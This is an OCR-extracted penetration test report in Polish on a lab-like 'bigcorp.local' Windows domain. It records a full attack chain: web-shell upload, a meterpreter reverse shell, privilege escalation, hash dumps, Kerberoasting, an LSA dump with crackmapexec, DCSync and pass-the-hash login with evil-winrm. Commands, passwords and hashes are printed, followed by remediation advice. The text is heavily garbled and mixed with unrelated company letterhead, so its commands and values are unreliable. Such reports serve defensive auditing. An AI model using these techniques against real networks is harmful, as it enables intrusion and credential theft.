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Raport z Testu Penetracyjnego — BigCorp

Data wykonania testu: 10.06.2025
Zakres: segment wewnetrzny domeny bigcorp. Local (hosty DCOL,MS0LIMS02)

Tester: Daniel Gawrys

Podsumowanie

W trakcie testu penetracyjnego zidentyfikowano lacznie 9 podatnesci o roznym poziomie ryzyka, z
ktérych:

+ 2 zaklasyfikowano jako krytyczne
* 3 jako wysokiego ryzyka

+ 2 jako sredniego ryzyka

* 2 jako niskiego ryzyka

Podatnosci te umozliwily uzyskanie pelnego dostepu do srodowiska domenowego — w tym do
kontrolera domeny — poprzez lancuch eskalacji uprawnien 1 wykorzystanie stabych zabezpieczen w
przechowywaniu hasel oraz konfiguracji ushig.

Przez calosc trwania testu zadne oprogramowania antywirusowe nie blokowaly dostepu co
swiadczy o slabym oprogramowaniu antywirusowym

Etap 1: Rozpoznanie i skanowanie sieci
Test rozpoczeto od aktywnego rozpoznania srodowiska. Przy pomocy nmap zidentyfikowano trzy

glowne hosty w sieci:
+ MS01 (192.168.1.122) — serwer z aktywng uslugg HTTP, SMB [ WinRM
+ MS02 (192.168.1.123) — system Windows z otwartym SMB i WinRM
* DCO01 (192.168.1.121) — kontroler domeny z Kerberos, LDAP, SMB I WinRM

Skanowanie [ manualne testy wykazaly, zZe na serwerze MS501 dziala niezabezpieczona usluga HTTP na
porcie 80, co stanowilo punkt wejscia do dalszych etapow ataku.

Etap 2: Rekonesans aplikacji webowej (MS01)

Za pomoca narzedzia (ObUSTer przeprowadzono enumeracje katalogow na serwerze HTTP:

* Wykryto potencjalnie wrazliwe zasoby:
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* /Jupload.php —umozliwiajgcy przesylanie plikow
+ /uploads/ — katalog dostepny publicznie
+ /dashboard/ — zabezpieczony, ale dostepny

przeszukiwanie katalogow / plikow zostalo wykonane przy uzyciu programu gobuster:

gobuster dir -u 'hetp://192.168.1.122/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x
php,txt --random-agent -k

Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: hitp:/#/192.168.1.122/ [+] Method: GET [+] Threads: 10 [+] Wordlist:
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [ +] Negative Status codes: 404 [+] User
Agent: Opera/6.05 (Windows 98; U) [en] [+] Extensions: php,txt [+] Timeout: 10s

Starting gobuster in directory enumeration mode

/img (Status: 301) [Size: 336] [—-> http://192.168.1.122/img/] /uploads (Status: 301) [Size: 340] [-=>
http://192.168.1.122/uploads/] /upload.php (Status: 200) [Size: 32] fexamples (Status: 503) [Size: 402]
/licenses (Status: 403) [Size: 421] /dashboard (Status: 301) [Size: 342] [-->

hitp:/#/192.168.1.127/dashboard/]

Mozliwosc przesylania plikow w endpoincie /upload.php stanowila pedatnosc wysokiego ryzyka, ze
wzgledu na brak walidacji typu pliku.

Dotacz do naszego zespotu!

Choesz rozwijad sie wewnairz nasze) irmy? To doskonala okazja
Przedhj swoje CV i daj sig poznad z nowej stromy.

Imig i nazwiska:
Test Test

Przeslij swoje CV:

| Browee. . | shellpap

Viyslij v

Obraz 1: aplikacja wewnetrznej rekrutacji umozliwiajqca przesyl dowolnego pliku
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« C o O A 1921681122

Kalilinux # KaliTools = KaliDocs X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

Dzigkujemy, Test Test! Twoje CV zostalo przeslane pomysinie,

Obraz 2: Proba przestania pliku przebiegla pomysinie

Etap 3: Uzyskanie dostepu (MS01)

Wykorzystujac mozliwosc przeslania pliku przez up Load . php, przeslano zlosliwy plik she L. php,
ktory umozliwil uruchomienie polecen systemowych. Nastepnie przeslano i uruchomiono plik
rev.exe zawierajacy meterpreter reverse shell.

|-

Wali M Kol Tools = K

&g Kali Foruma &2 Kali MetHunker Explodt-DB Gaogle Hacking DB OffSac

Index of /uploads
Mame Last modified Sire Descripiion

48 Parent Diroctory
[%1 snenpnhp 2025-06-08 12148 31

Apvcke2.4. 55 (Windgd) OpenSSLA3.0.5 PHPA QS Server ab 192 168,01, 22 Port 80

Obraz 3: shell.php w folderze uploads

1
1Pri

SelmpersonatePrivilese

1

Obraz 4: sesja meterpreter z uprawnieniami uzytkownika web_sve

ONTEHDUF
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Uzywajac funkcji getsystem wmeterpreterze, wykorzystano uprawnienie
SelmpersonatePrivilege, co pozwolilo na eskalacje do uprawnien systemowych (podatnosc

krytyczna).

T D LA . v+ 2 0oun|® ac

koli@localhost: ~/machmesibigcorp

File Actions Edit View Help

Obraz 5: Eskalacja uprawnien do NT AUTHORITY | SYSTEM uzywajqc polecenia getsystem w
meterpreterze

Z systemu uzyskano hashe NTLM lokalnych kont (m.in. Administrator, lucy, xampp_sSvc), z
ktorych jedno (Administrator) zostalo wykorzystane do dalszego dostepu przez evil-winrm.

Krajowy Rejestr Sadowy
NT Group sp. z 0.0. ; .
ul.Pomorska 65 KRS 0000214993 Konta Bankowe:

5 gy Sad Rejonowy dla kodzi-Srédmiesécia Santander Bank S.A.
'N I EHDUP ?eol ?285;;;3 77 w todzi, XX Wydziat KRS Rozliczenia krajowe:
SYSTEMY INFORMATYCZNE e-fﬂawl‘ info@ntgpl Regon: 470557218 711500 1546 1215 4005 5991 0000
: ’ NIP: 7251888624




NT GROuUUrm == Microsoft

Solutions Partner
SYSTEMY INFORMATYCZNE

Administrator:500:aad3b435b51404eeaad3b435b51404ee:1915e9324¢c2805a8d5
460e3ed01112e3:::

DefaultAccount:503:aad3bh435h51404eeaad3b435b51404ee:31d6cTeRd16ae931b
73c59d7e0cO89ch: 1

Guest:5601:aad3b435b51404eeaad3b435b51404ee:31d6cTefd16ae931b73¢c59d7e0
cO89cH:::

lucy:1006:aad3b435b51404eeaad3b435b51404ee:e2d2fe5043332c4c229%9eae7516
dagdfe:::

WDAGUtilityAccount :504:aad3b435bh51404eeaad3h435b51404ee:ce378ca70f63b
32579e5098d9c223b25: ::

xampp_svc:1001:aad3b435h51404eecaad3b435b51404ee:e4511828af0c03d8as8835
fe6759added: ::

Etap 4: Rekonesans poziomu domenowego

Po uzyskaniu dostepu jako Administrator na MS01, przeslano i uruchomiono WinPEAS, ktory ujawnil

dane logowania uzytkownika Wy Ldsty le zapisane w historii PowerShell uzytkownika Lucy.

PS Ci\Users\lucy\AppData\Roaning'\Microsoft i-s\Po-HShe‘ll PSReadline> 13

Directory: C:\Users\lucy\AppData\Roaning\MicrosoftiWindows\Powershel1\PSReadLine

LastWritoTine Length Nama
6/8/203% 12:02 PN 206 ConsoleHast_histary.txt
PS C:\Users\lucy\AppData\Reaning\MLcrosoft\windows \PowerShell\PSReadLines cat ConsoleHoSt_Bistory.tat
Spass = ConvertTo- tring . 1* -AsPlainText -Force
Scred = New-Object System.Management.Automation,PSCredential( wyldstyle” $pass)
nter-pssession -ComputerName M5@3 -Credential $cred

XLt
PS Cr\Users\lucy\AppData\Roaning\Microsoft\Windows \Powershell\pPsReadlines i

Obraz 6: Haslo w historii powershell lokalnego uzytkownika lucy

(:;dﬂ'ESF?CDLJF=
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Z pomocg bhloodhound-python zidentyfikowano uzytkownika SVC_1i1is, ktory posiadal delegacje
Kerberosowa. Dokonano ataku typu Kerberoasting uzywajac narzedzi impacket i zlamano hash tego

uzytkownika uzywajac programu hashcat (pedatnosc wysokiego ryzyka).

Obraz 7: Wybcie skrétu hasla konta svcizs i

Obraz 8: Zlamanie hasla do uzytkownika svc_iis

Q\ITERDUF
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Uzytkownik svc_iis nalezy do grupy “Service Accounts” co pozwala na przegladaniu zdalnego
katalogu “backups” na kontrolerze domeny

sab 192,166,1.121 ;
B windows 18 / Server 20815 Suild 17763 x64 (name:DC1) (domain:bigcorp.local) (signing:True) (SMBvi:F.

192.168.1.121 : [+] bigcorp.lacal\svc_iis:Portland?d
192,168,1.121 [#] tnumerated shares
192.168.1.121 3 Share Permissions Remark

192,168,1,121 CAEEES
152.168.1.121 ADMINS Remote Admin
192,1668,1.121 READ, WRITE

192.168.1.121 Default share
192,168.1.121 & READ Renote TPC :
192.188.1.121 READ Logon server share
152,166.1.121 READ Logon server share

Obraz 9: Potwierdzenie uprawnien svc_iis do katalogu backups

(NTemou~
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Etap 5: Dostep do MS02 i eskalacja uprawnien

W zasobach backupu znaleziono plik .zip (it-users-backup.zip), ktory po zlamaniu hasla
zawieral dane dostepowe dla uzytkownika emmet.

Obraz 10: Ztamane hasto do pliku backup zip. Haslo posiada w sobie nazwe firmy

Q\ITEHDUP
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/ -prﬂl
3 / SunRise2d231

mnet / RaxRulsz!

Obraz 11: Uzytkownicy oraz hasta znalezione w zabezpieczonym stabym hastem pliku zip

Konto emmet posiadalo uprawnienia administratora lokalnego na MS02, co umozliwilo za pomoca

CrackMapExec zrzut zawartosci procesu 1Sass.exe i uzyskanie hasel innych uzytkownikow, w

tym konta Lord_bhusiness.

2, 168.1.123 5 +] Higcorp, Local sempat :RIXRULSZ]

Obraz 12: emmet lokalnym administratorem na MS02 (potwierdzone przy uzyciu crackmapexec)

escia
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Zrzut lsass przy uzvciu crackmapexec:

crackmapexec smb 192.168.1.123 -u emmet -p 'R3xRulsz!' --l1sa

SMB 192.168.1.123 445 MSE2 [*] wWindows 10 / Server 2019 Build 17763
x64 (name:MS@2) (domain:bigcorp.local) (signing:False) (SMBvl1:False)
SMB 192.168.1.123 445 MS02 [+] bigcorp.locali\\emmet:R3xRulsz!
(Pwn3d!)

SMB 192.168.1.123 445 MS02 [+] Dumping LSA secrets SMB 192.168.1.123
445 MSO2 BIGCORP.LOCAL/lord_business:
$DCC2$10240#1lord_business#5db835273801e702872d151d94c22¢c24: (2025-06-
08 18:17:02)

SMB 192.168.1.123 445 MSE2 BIGCORP\\MS02%:aes256-cts-hmac-shal-
96:21c11dbea958c75071243318092823d903a126718c34e091875d2e7h45ec0884
SMB 192.168.1.123 445 MS®2 BIGCORP\\MS02%:aes128-cts-hmac-shal-
96:bda6a2fa617c10b901905h9T423848fa SMB 192.168.1.123 445 MS02
BIGCORP\\MS@2%:des-cbc-md5:c1e5133b10dc7080 SMB 192.168.1.123 445
MS82 BIGCORPY
\MSEO2%:plain_password_hex:200071004cO070002000680032004e0035005Cc00600
033005e003900750058007600410062006700530055005a0079006bAOT75004e005h006
2e0022005c00390077004a0078002Cc0033004500630060007600730058003e004a006
9PE37005e0029006a004a00540077004800520034006T0070004T003700400030004e
0P42003T0027004d003TE050004£004200250063006h00620047002a006d002T00210
0340020002a00340051006e0685TEO79005bOO4a00460065006€00620048005T006€00
670026007400640068005bB051004T00740023003T007200620077003d00350070004
30047003500660070002a00

SMB 192.168.1.123 445 MS©2 BIGCORP\
\MS02%:aad3b435h51404eeaad3b435b51404ee:eb94e7ce213d25367T0cd5a32743T
c27::: SMB 192.168.1.123 445 MS02 bigcorp.local\
\lord_business:|[AKOTUESHayE SMB 192.168.1.123 445 MS02
dpapi_machinekey:0x9186551a6685a586de89caac5d571a8062e58T50
dpapl_userkey:0xd5aad124661dd72246d0fb5de7bd9foas5f5e5de

SMB 192.168.1.123 445 MSE2
NL$KM:ce37a0d24755ebh1bh57h661d24T201T9h2791aee3a44906444FTh3elca929c74
bchabab2f8eabb34377ddTa9el137cT11528c4b347fcd45edl15c4d420atee991241

SMB 192.168.1.123 445 MS©2 [+] Dumped 9 LSA secrets to
/home/kali/.cme/logs/MS02_192.168.1.123_2025-06-08_201625.secrets and
/home/kali/.cme/logs/MS02_192.168.1.123_2025-06-08_201625.cached

<:341'GSF?CDLJF=
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Konto lord_business bylo aktywne w domenie i przypisane do grupy Domain Admins

= RO_BL GCOF ) R W T &
Nade Info x
unconsir False 3
areide
ugation @ @
whancra St 07 Jum 2025 15:32:52 GMT =
aled =
- l=
-
-
— %
First D ress Siroup Membershios i / i
Unnolled Group Membarship o
Foreign Gioup Membership o
™ First Degres Local Admn o
Group Dalegesed Local Admin Righis L
Ceefivatioe Local Admin Rights L3 Q
=
! DOMAIN ADMINS @BIGCORPLOCAL
iy
First Degres ROP Privilages o
Group Delegesd ROP Privieges o

Obraz 13: lord_business i jego grupy w narzedziu bloodhound

(podatnosc krytyczna — przechowywanie hasel w backupie bez odpowiedniego szyfrowania 1 kontroli
dostepu oraz hasla w postaci zwyklego tekstu).

Etap 6: Przejecie kontrolera domeny (DC01)

Majac poswiadczenia Lord_business, przeprowadzono zdalne uwierzytelnienie do kontrolera

domeny DC@1. Przy pomocy ataku DCSync oraz narzedzia CrackMapExec dokonano zrzutu bazy

NTDS.dit, uzyskujac hashe wszystkich uzytkownikow domeny.
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- RO B PEIGCOF ) A N Y o

Node Info =3

&

First Degree Local Adm 0 @

Goup Delegesd Local Aomin Righis 1 =

DLenviiue Local Admin Rights » =

G %

LORD_BUSINESS@BI

i
First Degree RDP Prvilsges 0
Delagated ROP 0
Frst Degree DCON Priviiepes 0
Croup Delegard DCOM Pivileges 0
S0CAdmin Rigres 0
Constrained Dalogatan Privieges o

N\
\,
N\
First Degree Otject Contro! 1
Group Delagased Objact Centrod ™
Trarsifve Otiett Corrol . H
BIGCORPLOCAL

Obraz 14: Uprawnienia DCSync uzytkownika lord_business na mapie narzedzia bloodhound

! “sab 192.156,1.121
192.108.1.121 4&3  DCO1 B8 windows 12

ord_bus 3
Server 2019 Suild 17763 x44 (name:DC@1) (domain:higcorp.local) (signing:True) (SMavi:F

192.108.1.121 443 DCO1 [oi bigcorp.local\lord _business:TAKRTuesday! (Pun3d!)

192.168,1.121 L5 [T +] Duwping the NTDS, this coulo take a while so go grab a redoull ... i
192.108.1.121 LA3  DCO1 Adninistrator:500:aad3ba35h51404eeaad3ba35h51404ee: Tdfa0531d73101ca080cT 379a0bF F1cT :::
192.168,1.121 445 K01 Guest:501:3ad3ba35b51404eeaad3be35b51404ee:31d6¢ fedd16ae931b73¢59d7e0c089C0 :::
192.168.1.121 L5 ol Krbtat:502:2ad3hi35b5 140000224 ha35h51406001 615 con]P0a0479aFhian0288b16 02 111

Obraz 15: Zrzut skrotow hasel z bazy NTDS.dit na kontrolerze domeny uzywajqc crackmapexec

Zalogowano sie zdalnie jako Administrator domenowy za pomocg evil-winrm co skutkowalo
calkowitym przejeciem domeny bigcorp. local

logowanie do kontrolera domeny przy uzyciu evil-winrm

|
pot g

evil-winrm -i 192.168.1.121 -u Administrator
7dfan531d73101caf80c7379a9bffic?

(rld'TTEiF?CDLJ
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Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation:
undefined method quoting detection_proc' for module Reline’

Data: For more information, check Evil-WinRM GitHub:
<https://github.com/Hackplayers/evil-winrm#Remote-path-completion>

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> hostname: whoami

DCo1l
bigcorp\\administrator

Pliki ktore przesylal tester zostaly przez niego usuniete.

Whioski koncowe
Test penetracyjny ujawnil powazne zaniedbania w zakresie bezpieczenstwa systemow Windows i

kontroli dostepu w srodowisku domenowym. W szczegolnosci:
* Brak walidacji przy uploadzie plikow
* Przechowyvwanie hasel w plikach backupu w postaci jawne]
* Brak segmentacji uprawnien (uzytkownik z backupu mial dostep do hasel kont domenowych)

* Uzytkownicy z uprawnieniami lokalnych administratorow w wielu hostach

Zalecenia
1. Wdrozyc kontrole typu MIME oraz rozszerzen w mechanizmach uploadu.
— https://dev.to/einlinuus/how-to-upload-files-with-php-correctly-and-securely- 1 kng
2. Zabezpieczyc dostep do udzialow sieciowych, zwlaszcza backupaw.
3. Wymusic polityke hasel oraz ich rotacje.
— https://blog.netwrix.com/active-directory-password-policy
4. Uzywac DPAPI lub BitLocker do ochrony danych lokalnych.

— https://www.ucl.ac.uk/isd’how-to/how-to-enable-bitlocker-encryption-windows

5. Ograniczyc prawa uzytkownikow lokalnych — zwlaszcza zdalnych adminow.
-=https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/

implementing-least-privilege-administrative-models

C?lJ'F1EiF?C:H_JF=
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6. Monitorowac aktywnosc uzytkownikow z uprawnieniami domenowymi.

7. Wprowadzic oprogramowanie antywirusowe

C\'\I'I'EHDI_JF
- ORI e




